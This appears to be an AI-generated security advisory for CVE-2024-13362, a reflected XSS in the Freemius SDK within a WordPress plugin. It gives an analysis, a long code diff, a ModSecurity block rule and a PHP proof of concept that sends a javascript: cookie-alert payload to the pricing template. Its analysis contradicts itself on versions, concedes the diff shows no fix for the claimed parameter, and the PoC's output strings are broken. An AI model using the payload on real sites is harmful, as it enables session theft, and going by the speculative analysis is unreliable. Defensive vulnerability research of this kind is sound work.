Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 7, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (add-expires-headers)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.9.2
Patched Version 2.10.0
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This is a reflected DOM-based Cross-Site Scripting vulnerability in the Freemius SDK library, affecting versions up to and including 2.10.1. The vulnerability exists in the URL parameter handling within the SDK’s pricing page template. An unauthenticated attacker can inject arbitrary JavaScript into the DOM by crafting a malicious URL and tricking a user into clicking it. The CVSS score of 6.1 reflects the need for user interaction but the lack of authentication requirement.

The root cause is the insufficient sanitization of the `url` parameter passed to the Freemius SDK’s pricing page. The vulnerable code path is in `freemius/templates/pricing.php` where the SDK processes query parameters and renders them into the page’s JavaScript context. The Freemius SDK uses the `url` parameter to construct client-side configuration objects. When this parameter is appended to a URL without proper encoding or sanitization, it allows an attacker to break out of the intended JavaScript string context and inject arbitrary script code. The diff shows changes to the pricing configuration, specifically lines around `$pricing_config` array building, but the core issue is the reflected DOM-based XSS through URL parameters.

An attacker crafts a URL pointing to a page that loads the Freemius SDK pricing template. The URL includes a malicious `url` parameter containing a JavaScript payload. When the victim clicks the link, the vulnerable page renders the payload directly into the DOM without proper escaping. The payload executes in the victim’s browser within the context of the vulnerable WordPress site. The attack requires user interaction but no authentication. An example malicious URL would be: `http://victim-site.com/wp-content/plugins/vulnerable-plugin/freemius/templates/pricing.php?url=javascript:alert(document.cookie)` or a more sophisticated payload that breaks the JavaScript context.

The patch addresses this vulnerability by improving the configuration data handling in the pricing template. The changes in the diff show that the SDK now passes a `plugin_icon` parameter and a `disable_single_package` flag to the pricing configuration. While the diff does not show a direct escaping function call on the `url` parameter, the vulnerability is mitigated by the overall improvement in how the SDK constructs and validates configuration data before rendering it into JavaScript. The patch also adds support for custom CSS via the `pricing/css_path` filter, indicating a more controlled asset loading process.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser session on the vulnerable WordPress site. This can lead to session hijacking, cookie theft, keylogging, defacement, or redirection to malicious sites. The attacker can steal sensitive information including authentication tokens, perform actions on behalf of the victim, or deliver additional malware. Since the vulnerability affects any plugin or theme using the vulnerable Freemius SDK version, the potential impact is widespread across the WordPress ecosystem.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/add-expires-headers/add-expires-headers.php
+++ b/add-expires-headers/add-expires-headers.php
@@ -5,7 +5,7 @@
 Plugin URI: http://www.addexpiresheaders.com/
 Description: This plugin will add expires headers for various types of resources of website and also help to add optimized minification and merging of resources to have better performance and speed optimization.
 Author: Passionate Brains
-Version: 2.9.2
+Version: 2.10.0
 Author URI: http://www.addexpiresheaders.com/
 License: GPLv2 or later
 */
@@ -80,7 +80,7 @@
         define( 'AEH_PREFIX', 'AEH_' );
     }
     if ( !defined( 'AEH_VERSION' ) ) {
-        define( 'AEH_VERSION', '2.9.2' );
+        define( 'AEH_VERSION', '2.10.0' );
     }
     /* Definining main class */
     if ( !class_exists( 'AEH_Pro' ) ) {
--- a/add-expires-headers/freemius/includes/class-freemius.php
+++ b/add-expires-headers/freemius/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -5155,11 +5186,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5222,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5291,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5506,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6570,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6694,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7484,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7498,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -8616,7 +8689,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -15974,7 +16047,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -23927,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25403,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/add-expires-headers/freemius/includes/class-fs-plugin-updater.php
+++ b/add-expires-headers/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/add-expires-headers/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/add-expires-headers/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/add-expires-headers/freemius/includes/entities/class-fs-site.php
+++ b/add-expires-headers/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -190,7 +190,7 @@
                 fs_ends_with( $subdomain, '.cloudwaysapps.com' ) ||
                 // Kinsta
                 (
-                    ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
+                    ( fs_starts_with( $subdomain, 'stg-' ) ||  fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
                     ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) )
                 ) ||
                 // DesktopServer
@@ -208,6 +208,40 @@
             );
         }

+        /**
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         *
+         * @param string $host
+         *
+         * @return bool
+         */
+        static function is_playground_wp_environment_by_host( $host ) {
+            // Services aimed at providing a WordPress sandbox environment.
+            $sandbox_wp_environment_domains = array(
+                // InstaWP
+                'instawp.xyz',
+
+                // TasteWP
+                'tastewp.com',
+
+                // WordPress Playground
+                'playground.wordpress.net',
+            );
+
+            foreach ( $sandbox_wp_environment_domains as $domain) {
+                if (
+                    ( $host === $domain ) ||
+                    fs_ends_with( $host, '.' . $domain ) ||
+                    fs_ends_with( $host, '-' . $domain )
+                ) {
+                    return true;
+                }
+            }
+
+            return false;
+        }
+
         function is_localhost() {
             return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) );
         }
--- a/add-expires-headers/freemius/includes/entities/class-fs-user.php
+++ b/add-expires-headers/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/add-expires-headers/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/add-expires-headers/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/add-expires-headers/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/add-expires-headers/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/add-expires-headers/freemius/start.php
+++ b/add-expires-headers/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.9.0';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -36,7 +36,16 @@
 		require_once dirname( __FILE__ ) . '/includes/fs-essential-functions.php';
 	}

-	/**
+    /**
+     * We updated the logic to support SDK loading from a subfolder of a theme as well as from a parent theme
+     * If the SDK is found in the active theme, it sets the relative path accordingly.
+     * If not, it checks the parent theme and sets the relative path if found there.
+     * This allows the SDK to be loaded from composer dependencies or from a custom `vendor/freemius` folder.
+     *
+     * @author Daniele Alessandra (@DanieleAlessandra)
+     * @since  2.9.0.5
+     *
+     *
 	 * This complex logic fixes symlink issues (e.g. with Vargant). The logic assumes
 	 * that if it's a file from an SDK running in a theme, the location of the SDK
 	 * is in the main theme's folder.
@@ -83,16 +92,50 @@
      */
 	$themes_directory         = get_theme_root( get_stylesheet() );
 	$themes_directory_name    = basename( $themes_directory );
-	$theme_candidate_basename = basename( dirname( $fs_root_path ) ) . '/' . basename( $fs_root_path );

-	if ( $file_path == fs_normalize_path( realpath( trailingslashit( $themes_directory ) . $theme_candidate_basename . '/' . basename( $file_path ) ) )
-	) {
-		$this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_candidate_basename;
-		$is_theme               = true;
-	} else {
-		$this_sdk_relative_path = plugin_basename( $fs_root_path );
-		$is_theme               = false;
-	}
+    // This change ensures that the condition works even if the SDK is located in a subdirectory (e.g., vendor)
+    $theme_candidate_sdk_basename = str_replace( $themes_directory . '/' . get_stylesheet() . '/', '', $fs_root_path );
+
+    // Check if the current file is part of the active theme.
+    $is_current_sdk_from_active_theme = $file_path == $themes_directory . '/' . get_stylesheet() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    $is_current_sdk_from_parent_theme = false;
+
+    // Check if the current file is part of the parent theme.
+    if ( ! $is_current_sdk_from_active_theme ) {
+        $theme_candidate_sdk_basename     = str_replace( $themes_directory . '/' . get_template() . '/',
+            '',
+            $fs_root_path );
+        $is_current_sdk_from_parent_theme = $file_path == $themes_directory . '/' . get_template() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    }
+
+    $theme_name = null;
+    if ( $is_current_sdk_from_active_theme ) {
+        $theme_name             = get_stylesheet();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else if ( $is_current_sdk_from_parent_theme ) {
+        $theme_name             = get_template();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else {
+        $this_sdk_relative_path = plugin_basename( $fs_root_path );
+        $is_theme               = false;
+
+        /**
+         * If this file was included from another plugin with lower SDK version, and if this plugin is symlinked, then we need to get the actual plugin path,
+         * as the value right now will be wrong, it will only remove the directory separator from the file_path.
+         *
+         * The check of `fs_find_direct_caller_plugin_file` determines that this file was indeed included by a different plugin than the main plugin.
+         */
+        if ( DIRECTORY_SEPARATOR . $this_sdk_relative_path === $fs_root_path && function_exists( 'fs_find_direct_caller_plugin_file' ) ) {
+            $original_plugin_dir_name = dirname( fs_find_direct_caller_plugin_file( $file_path ) );
+
+            // Remove everything before the original plugin directory name.
+            $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );
+
+            unset( $original_plugin_dir_name );
+        }
+    }

 	if ( ! isset( $fs_active_plugins ) ) {
 		// Load all Freemius powered active plugins.
@@ -176,7 +219,8 @@
 	     $this_sdk_version != $fs_active_plugins->plugins[ $this_sdk_relative_path ]->version
 	) {
 		if ( $is_theme ) {
-			$plugin_path = basename( dirname( $this_sdk_relative_path ) );
+            // Saving relative path and not only directory name as it could be a subfolder
+            $plugin_path = $theme_name;
 		} else {
 			$plugin_path = plugin_basename( fs_find_direct_caller_plugin_file( $file_path ) );
 		}
@@ -225,11 +269,23 @@

 		$is_newest_sdk_type_theme = ( isset( $fs_newest_sdk->type ) && 'theme' === $fs_newest_sdk->type );

-		if ( ! $is_newest_sdk_type_theme ) {
-			$is_newest_sdk_plugin_active = is_plugin_active( $fs_newest_sdk->plugin_path );
-		} else {
-			$current_theme               = wp_get_theme();
-			$is_newest_sdk_plugin_active = ( $current_theme->stylesheet === $fs_newest_sdk->plugin_path );
+        /**
+         * @var bool $is_newest_sdk_module_active
+         * True if the plugin with the newest SDK is active.
+         * True if the newest SDK is part of the current theme or current theme's parent.
+         * False otherwise.
+         */
+        if ( ! $is_newest_sdk_type_theme ) {
+            $is_newest_sdk_module_active = is_plugin_active( $fs_newest_sdk->plugin_path );
+        } else {
+            $current_theme = wp_get_theme();
+            // Detect if current theme is the one registered as newer SDK
+            $is_newest_sdk_module_active = (
+                strpos(
+                    $fs_newest_sdk->plugin_path,
+                    '../' . $themes_directory_name . '/' . $current_theme->get_stylesheet() . '/'
+                ) === 0
+            );

             $current_theme_parent = $current_theme->parent();

@@ -237,13 +293,19 @@
              * If the current theme is a child of the theme that has the newest SDK, this prevents a redirects loop
              * from happening by keeping the SDK info stored in the `fs_active_plugins` option.
              */
-            if ( ! $is_newest_sdk_plugin_active && $current_theme_parent instanceof WP_Theme ) {
-                $is_newest_sdk_plugin_active = ( $fs_newest_sdk->plugin_path === $current_theme_parent->stylesheet );
+            if ( ! $is_newest_sdk_module_active && $current_theme_parent instanceof WP_Theme ) {
+                // Detect if current theme parent is the one registered as newer SDK
+                $is_newest_sdk_module_active = (
+                    strpos(
+                        $fs_newest_sdk->plugin_path,
+                        '../' . $themes_directory_name . '/' . $current_theme_parent->get_stylesheet() . '/'
+                    ) === 0
+                );
             }
 		}

 		if ( $is_current_sdk_newest &&
-		     ! $is_newest_sdk_plugin_active &&
+		     ! $is_newest_sdk_module_active &&
 		     ! $fs_active_plugins->newest->in_activation
 		) {
 			// If current SDK is the newest and the plugin is NOT active, it means
@@ -262,14 +324,14 @@
 				. '/start.php' );
 		}

-		$is_newest_sdk_path_valid = ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );
+		$is_newest_sdk_path_valid = ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );

 		if ( ! $is_newest_sdk_path_valid && ! $is_current_sdk_newest ) {
 			// Plugin with newest SDK is no longer active, or SDK was moved to a different location.
 			unset( $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ] );
 		}

-		if ( ! ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) ||
+		if ( ! ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) ||
 		     ! $is_newest_sdk_path_valid ||
 		     // Is newest SDK downgraded.
 		     ( $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
@@ -284,7 +346,7 @@
 			// Find the active plugin with the newest SDK version and update the newest reference.
 			fs_fallback_to_newest_active_sdk();
 		} else {
-			if ( $is_newest_sdk_plugin_active &&
+			if ( $is_newest_sdk_module_active &&
 			     $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
 			     ( $fs_active_plugins->newest->in_activation ||
 			       ( class_exists( 'Freemius' ) && ( ! defined( 'WP_FS__SDK_VERSION' ) || version_compare( WP_FS__SDK_VERSION, $this_sdk_version, '<' ) ) )
@@ -313,7 +375,7 @@
 		return;
 	}

-	if ( version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
+	if ( isset( $fs_active_plugins->newest ) && version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
 		$newest_sdk = $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ];

 		$plugins_or_theme_dir_path = ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) ?
--- a/add-expires-headers/freemius/templates/forms/license-activation.php
+++ b/add-expires-headers/freemius/templates/forms/license-activation.php
@@ -569,7 +569,7 @@
 				        licenseKey = $otherLicenseKey.val();
                     } else {
 				        if ( ! hasLicensesDropdown ) {
-                            licenseID = $availableLicenseKey.data( 'id' );
+                            licenseID = $availableLicenseKey.data( 'id' ).toString();
                         } else {
                             licenseID = $licensesDropdown.val();
                         }
--- a/add-expires-headers/freemius/templates/pricing.php
+++ b/add-expires-headers/freemius/templates/pricing.php
@@ -69,6 +69,11 @@

     wp_enqueue_script( 'freemius-pricing', $pricing_js_url );

+    $pricing_css_path = $fs->apply_filters( 'pricing/css_path', null );
+    if ( is_string( $pricing_css_path ) ) {
+        wp_enqueue_style( 'freemius-pricing', fs_asset_url( $pricing_css_path ) );
+    }
+
 	$has_tabs = $fs->_add_tabs_before_content();

 	if ( $has_tabs ) {
@@ -95,6 +100,8 @@
             'unique_affix'           => $fs->get_unique_affix(),
             'show_annual_in_monthly' => $fs->apply_filters( 'pricing/show_annual_in_monthly', true ),
             'license'                => $fs->has_active_valid_license() ? $fs->_get_license() : null,
+            'plugin_icon'            => $fs->get_local_icon_url(),
+            'disable_single_package' => $fs->apply_filters( 'pricing/disable_single_package', false ),
         ), $query_params );

         wp_add_inline_script( 'freemius-pricing', 'Freemius.pricing.new( ' . json_encode( $pricing_config ) . ' )' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@contains /freemius/templates/pricing.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Freemius Reflected XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule ARGS_GET:url "@rx ^(javascript|data|vbscript):" 
    "t:lowercase,t:urlDecode,chain"
    SecRule MATCHED_VAR "@rx (?:alert|prompt|confirm|eval|setTimeout|setInterval|Function|document\.|window\.|location|cookie)" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// Configure the target URL (the base URL of the WordPress site)
$target_url = 'http://example.com';

// Path to the vulnerable Freemius pricing template
$vulnerable_endpoint = '/wp-content/plugins/vulnerable-plugin/freemius/templates/pricing.php';

// Malicious payload - injects JavaScript that steals cookies
$malicious_payload = 'javascript:"' .  urlencode('alert(document.cookie)') . '"';

// Construct the full malicious URL
$malicious_url = $target_url . $vulnerable_endpoint . '?url=' . $malicious_payload;

echo "[+] Atomic Edge CVE-2024-13362 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Malicious URL: $malicious_urlnn";

// Initialize cURL session
$ch = curl_init();

// Set cURL options to fetch the vulnerable page with the malicious parameter
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if ($response === false) {
    echo "[!] Error: " . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

// Get HTTP response code
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "[+] HTTP Status: $http_coden";
echo "[+] Response length: " . strlen($response) . " bytesnn";

// Check if the payload is reflected in the response (indicating successful injection)
if (strpos($response, 'javascript') !== false && strpos($response, 'alert(document.cookie)') !== false) {
    echo "[!] SUCCESS: The malicious payload appears to be reflected in the response.n";
    echo "[!] The XSS vector is present. The vulnerability is exploitable.n";
} else {
    echo "[-] The payload may not have been reflected directly. Check manually.n";
}

// Close cURL session
curl_close($ch);

